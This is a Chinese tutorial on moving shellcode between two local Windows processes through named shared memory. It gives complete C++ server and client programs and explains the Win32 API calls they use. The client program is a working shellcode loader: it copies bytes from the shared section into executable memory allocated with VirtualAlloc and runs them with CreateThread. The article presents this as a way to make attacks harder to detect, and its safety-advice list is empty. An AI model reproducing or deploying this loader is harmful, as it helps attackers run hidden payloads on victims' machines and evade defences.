C++通过共享内存ShellCode实现跨进程传输

  目录

  在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将打散,而作为客户端也不需要时时刻刻在本地存放代码,这能保证客户端的安全性。

  服务端部分

  CreateFileMapping

  用于创建一个文件映射对象,将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。

  下面是 函数的基本语法:

  HANDLE CreateFileMapping(

  HANDLE hFile,

  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,

  DWORD flProtect,

  DWORD dwMaximumSizeHigh,

  DWORD dwMaximumSizeLow,

  LPCTSTR lpName

  );

  参数说明:

  成功调用 会返回一个文件映射对象的句柄,失败则返回 。通常创建成功后,可以通过 函数将文件映射对象映射到当前进程的地址空间中,进行读写操作。

  MapViewOfFile

  用于将一个文件映射对象映射到调用进程的地址空间中,使得进程可以直接操作映射区域的内容。

  以下是 函数的基本语法:

  LPVOID MapViewOfFile(

  HANDLE hFileMappingObject,

  DWORD dwDesiredAccess,

  DWORD dwFileOffsetHigh,

  DWORD dwFileOffsetLow,

  SIZE_T dwNumberOfBytesToMap

  );

  参数说明:

  成功调用 会返回映射视图的起始地址,失败则返回 。映射成功后,可以直接通过返回的地址进行读写操作。当不再需要映射时,应该通过 函数解除映射。

  CreateMutex

  用于创建一个互斥体对象。互斥体(Mutex)是一种同步对象,用于确保在多线程或多进程环境中对资源的互斥访问,防止多个线程或进程同时访问共享资源,以避免数据竞争和冲突。

  以下是 函数的基本语法:

  HANDLE CreateMutex(

  LPSECURITY_ATTRIBUTES lpMutexAttributes,

  BOOL bInitialOwner,

  LPCTSTR lpName

  );

  参数说明:

  成功调用 会返回互斥体对象的句柄,失败则返回 。在使用完互斥体后,应该通过 函数关闭句柄以释放资源。

  CreateEvent

  用于创建一个事件对象。事件对象是一种同步对象,用于实现多线程或多进程之间的通信和同步。通过事件对象,可以使一个或多个线程等待某个事件的发生,从而协调它们的执行。

  以下是 函数的基本语法:

  HANDLE CreateEvent(

  LPSECURITY_ATTRIBUTES lpEventAttributes,

  BOOL bManualReset,

  BOOL bInitialState,

  LPCTSTR lpName

  );

  参数说明:

  成功调用 会返回事件对象的句柄,失败则返回 。在使用完事件对象后,应该通过 函数关闭句柄以释放资源。

  WaitForSingleObject

  用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。

  以下是 函数的基本语法:

  DWORD WaitForSingleObject(

  HANDLE hHandle,

  DWORD dwMilliseconds

  );

  参数说明:

  返回一个 类型的值,表示等待的结果。可能的返回值包括:

  这个函数是同步函数,调用它的线程会阻塞,直到等待的对象变为 signaled 状态或者等待时间超时。

  ReleaseMutex

  用于释放之前由 或 等函数获取的互斥体对象的所有权。

  以下是 函数的基本语法:

  BOOL ReleaseMutex(

  HANDLE hMutex

  );

  参数说明:

  : 要释放的互斥体对象的句柄。

  返回一个 类型的值,表示释放互斥体对象是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 获取详细错误信息。

  互斥体(Mutex)是一种同步对象,用于控制对共享资源的访问。在多线程或者多进程环境中,互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护的共享资源。当一个线程或者进程成功获取互斥体的所有权后,其他试图获取该互斥体所有权的线程或者进程将会被阻塞,直到拥有互斥体的线程或者进程调用 释放互斥体所有权。

  SetEvent

  用于将指定的事件对象的状态设置为 signaled(有信号)。该函数通常与等待函数(如 或 )一起使用,以实现线程之间或进程之间的同步。

  以下是 函数的基本语法:

  BOOL SetEvent(

  HANDLE hEvent

  );

  参数说明:

  : 事件对象的句柄。

  函数返回一个 类型的值,表示设置事件对象状态是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 获取详细错误信息。

  事件对象是一种同步对象,用于在线程或者进程之间发信号。通过 可以将事件对象的状态设置为 signaled,表示某个条件已经满足,其他等待该事件对象的线程或者进程可以继续执行。

  有了上述API函数的支持,那么实现这个服务端将变得很容易,如下所示则是服务端完整代码,通过创建一个共享内存池,并等待用户按下简单,当键盘被按下时则会自动填充缓冲区为特定内容。

  #include

  #include

  #define BUF_SIZE 1024

  HANDLE H_Mutex = NULL;

  HANDLE H_Event = NULL;

  char ShellCode[] = "此处是ShellCode";

  using namespace std;

  int main(int argc,char *argv[])

  {

  // 创建共享文件句柄

  HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");

  if (shareFileHandle == NULL)

  {

  return 1;

  }

  //映射缓冲区视图,得到指向共享内存的指针

  LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);

  if (lpBuf == NULL)

  {

  CloseHandle(shareFileHandle);

  return 1;

  }

  // 创建互斥器

  H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");

  H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");

  // 操作共享内存

  while (true)

  {

  getchar();

  // 使用互斥体加锁,获得互斥器的拥有权

  WaitForSingleObject(H_Mutex, INFINITE);

  memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);

  ReleaseMutex(H_Mutex); // 放锁

  SetEvent(H_Event); // 激活等待的进程

  }

  CloseHandle(H_Mutex);

  CloseHandle(H_Event);

  UnmapViewOfFile(lpBuf);

  CloseHandle(shareFileHandle);

  return 0;

  }

  客户端部分

  OpenFileMapping

  用于打开一个已存在的文件映射对象,以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据的机制。

  以下是 函数的基本语法:

  HANDLE OpenFileMapping(

  DWORD dwDesiredAccess,

  BOOL bInheritHandle,

  LPCTSTR lpName

  );

  参数说明:

  函数返回一个文件映射对象的句柄。如果函数调用失败,返回值为 。可以通过调用 获取详细错误信息。

  OpenEvent

  用于打开一个已存在的命名事件对象。事件对象是一种同步对象,用于在多个进程间进行通信和同步。

  以下是 函数的基本语法:

  HANDLE OpenEvent(

  DWORD dwDesiredAccess,

  BOOL bInheritHandle,

  LPCTSTR lpName

  );

  参数说明:

  函数返回一个事件对象的句柄。如果函数调用失败,返回值为 。可以通过调用 获取详细错误信息。

  VirtualAlloc

  用于在进程的虚拟地址空间中分配一段内存区域。这个函数通常用于动态分配内存,而且可以选择性地将其初始化为零。

  以下是 函数的基本语法:

  LPVOID VirtualAlloc(

  LPVOID lpAddress,

  SIZE_T dwSize,

  DWORD flAllocationType,

  DWORD flProtect

  );

  参数说明:

  : 指定欲分配内存的首地址。如果为 ,系统将决定分配的地址。

  : 指定欲分配内存的大小,以字节为单位。

  : 指定分配类型。可以是以下常量之一:

  : 指定内存的访问保护。可以是以下常量之一:

  函数返回一个指向分配的内存区域的指针。如果函数调用失败,返回值为 。可以通过调用 获取详细错误信息。

  CreateThread

  用于创建一个新的线程。线程是执行程序代码的单一路径,一个进程可以包含多个线程,这些线程可以并发执行。

  以下是 函数的基本语法:

  HANDLE CreateThread(

  LPSECURITY_ATTRIBUTES lpThreadAttributes,

  SIZE_T dwStackSize,

  LPTHREAD_START_ROUTINE lpStartAddress,

  LPVOID lpParameter,

  DWORD dwCreationFlags,

  LPDWORD lpThreadId

  );

  参数说明:

  函数返回一个新线程的句柄。如果函数调用失败,返回值为 。可以通过调用 获取详细错误信息。

  客户端同样创建内存映射,使用服务端创建的内存池,并在里面取出执行后反弹,完整代码如下所示;

  #include

  #include

  #include

  using namespace std;

  HANDLE H_Mutex = NULL;

  HANDLE H_Event = NULL;

  int main(int argc, char* argv[])

  {

  // 打开共享文件句柄

  HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");

  if (sharedFileHandle == NULL)

  {

  return 1;

  }

  // 映射缓存区视图,得到指向共享内存的指针

  LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);

  if (lpBuf == NULL)

  {

  CloseHandle(sharedFileHandle);

  return 1;

  }

  H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");

  if (H_Event == NULL)

  {

  return 1;

  }

  char buffer[4096] = {0};

  while (1)

  {

  HANDLE hThread;

  // 互斥体接收数据并加锁

  WaitForSingleObject(H_Event, INFINITE);

  WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥体加锁

  memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1); // 接收数据到内存

  ReleaseMutex(H_Mutex); // 放锁

  cout << "接收到的ShellCode: " << buffer << endl;

  // 注入ShellCode并执行

  void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  CopyMemory(ShellCode, buffer, sizeof(buffer));

  hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);

  WaitForSingleObject(hThread, INFINITE);

  }

  CloseHandle(H_Event);

  CloseHandle(H_Mutex);

  UnmapViewOfFile(lpBuf);

  CloseHandle(sharedFileHandle);

  return 0;

  }

  潜在风险和安全建议

  虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:

  总结

  本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。

  以上就是C++通过共享内存ShellCode实现跨进程传输的详细内容,更多关于C++ ShellCode跨进程传输的资料请关注脚本之家其它相关文章!

  您可能感兴趣的文章: